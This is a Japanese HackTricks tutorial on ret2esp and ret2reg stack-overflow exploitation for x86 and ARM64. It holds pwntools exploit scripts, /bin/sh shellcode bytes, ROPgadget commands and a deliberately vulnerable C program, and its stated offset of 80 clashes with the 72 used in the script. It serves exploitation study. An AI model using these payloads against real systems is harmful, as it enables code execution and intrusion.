AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) ! Ret2esp
ESP(スタックポインタ)は常にスタックの先頭を指すため 、このテクニックはEIP(命令ポインタ)を**jmp esp
または call esp
**命令のアドレスで置き換えることを含みます。これにより、シェルコードが上書きされたEIPの直後に配置されます。ret
命令が実行されると、ESPは次のアドレスを指し、つまりシェルコードが格納されている場所を指します。
WindowsまたはLinuxで**アドレス空間配置のランダム化(ASLR)**が有効でない場合、共有ライブラリで見つかるjmp esp
またはcall esp
命令を使用することが可能です。ただし、ASLR が有効な場合、これらの命令を脆弱なプログラム内で探す必要があります(かつPIE を打破する必要があるかもしれません)。
さらに、シェルコードをEIPの破損後に配置 できることは、スタックの中央ではなく後ろに配置することを意味し、関数の動作中に実行されるpush
またはpop
命令がシェルコードに干渉しないようにします。シェルコードが関数のスタックの中央に配置された場合、この干渉が発生する可能性があります。
スペースが不足している場合
RIPを上書きした後に書き込むスペースが不足している場合(たとえば数バイトしかない場合)、最初の**jmp
**シェルコードを書き込んでください。
Copy sub rsp, 0x30
jmp rsp
そして、シェルコードをスタックの早い段階に書き込みます。
例
このテクニックの例は、https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp にあり、最終的なエクスプロイトは次のようになります:
Copy from pwn import *
elf = context . binary = ELF ( './vuln' )
p = process ()
jmp_rsp = next (elf. search ( asm ( 'jmp rsp' )))
payload = b 'A' * 120
payload += p64 (jmp_rsp)
payload += asm ( '''
sub rsp, 10;
jmp rsp;
''' )
pause ()
p . sendlineafter ( 'RSP!\n' , payload)
p . interactive ()
別のこの技術の例をhttps://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html で見ることができます。NXが有効でないバッファオーバーフローがあり、$esp
のアドレスを減少させるためのガジェット が使用され、その後jmp esp;
がシェルコードにジャンプします。
Copy # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process ( './b0verflow' )
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32 ( 0x 08048504 )
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32 ( 0x 80484fd )
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1" * ( 0x 20 - len (shellcode) ) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target . sendline (payload)
# Drop to an interactive shell
target . interactive ()
Ret2reg
同様に、シェルコードが格納されているアドレスを返す関数がわかっている場合、call eax
または jmp eax
命令(ret2eax テクニックとして知られています)を利用して、シェルコードを実行する別の方法が提供されます。eaxと同様に、興味深いアドレスを含む他のレジスタ を使用することもできます(ret2reg )。
例
ここでいくつかの例を見つけることができます:
strcpy
は、シェルコードが格納されているバッファのアドレスを eax
に格納し、eax
が上書きされていないため、ret2eax
を使用することが可能です。
ARM64
Ret2sp
ARM64では、SPレジスタにジャンプする 命令は存在しません。SPをレジスタに移動させ、その後そのレジスタにジャンプする ガジェットを見つけることができるかもしれませんが、私のkaliのlibcにはそのようなガジェットが見つかりませんでした。
Copy for i in ` seq 1 30 ` ; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)" ;
done
見つけた唯一のものは、sp がコピーされるレジストリの値を変更してからジャンプするものでした(そのため、それは無効になります):
Ret2reg
もしレジストリに興味深いアドレスがある場合、適切な命令を見つけるだけでそれにジャンプすることが可能です。次のようなものを使用できます:
Copy ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?" ;
ARM64では、関数の戻り値は**x0
**に格納されるため、x0がユーザーによって制御されたバッファのアドレスを格納し、実行するシェルコードを含む可能性があります。
例のコード:
Copy // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff ( int do_arg){
if (do_arg == 1 )
__asm__ ( " br x0 " ) ;
return ;
}
char* vulnerable_function () {
char buffer[ 64 ];
fgets(buffer , sizeof (buffer) * 3 , stdin) ;
return buffer;
}
int main ( int argc , char ** argv) {
char* b = vulnerable_function() ;
do_stuff( 2 )
return 0 ;
}
関数の逆アセンブリをチェックすると、バッファへのアドレス (bofに脆弱であり、ユーザーによって制御されている )が、バッファオーバーフローから戻る前に**x0
に格納されている**ことがわかります:
また、do_stuff
関数内で br x0
ガジェットを見つけることも可能です:
バイナリがPIEなしでコンパイル されているため、そのガジェットをジャンプ先として使用します。パターンを使用すると、バッファオーバーフローのオフセットが80 であることがわかります。したがって、エクスプロイトは次のようになります:
Copy from pwn import *
p = process ( './ret2x0' )
elf = context . binary = ELF ( './ret2x0' )
stack_offset = 72
shellcode = asm (shellcraft. sh ())
br_x0 = p64 ( 0x 4006a0 ) # Addr of: br x0;
payload = shellcode + b "A" * (stack_offset - len (shellcode) ) + br_x0
p . sendline (payload)
p . interactive ()
もしfgets
の代わりに**read
のようなものが使われていたら、PIEをバイパスすることが可能であり、リターンアドレスの最後の2バイトのみを上書きして、完全なアドレスを知る必要なく br x0;
命令に戻ることができたでしょう。
fgets
では、それが 末尾にヌル(0x00)バイトを追加**するため、うまくいきません。
保護
NX : スタックが実行不可であれば、シェルコードをスタックに配置して実行するためにジャンプする必要があるため、これは役立ちません。
ASLR & PIE : これらは、espや他のレジスタにジャンプする命令を見つけるのを難しくする可能性があります。
参考文献
**htARTE (HackTricks AWS Red Team Expert)**で **ゼロからヒーローまでAWSハッキングを学びましょう**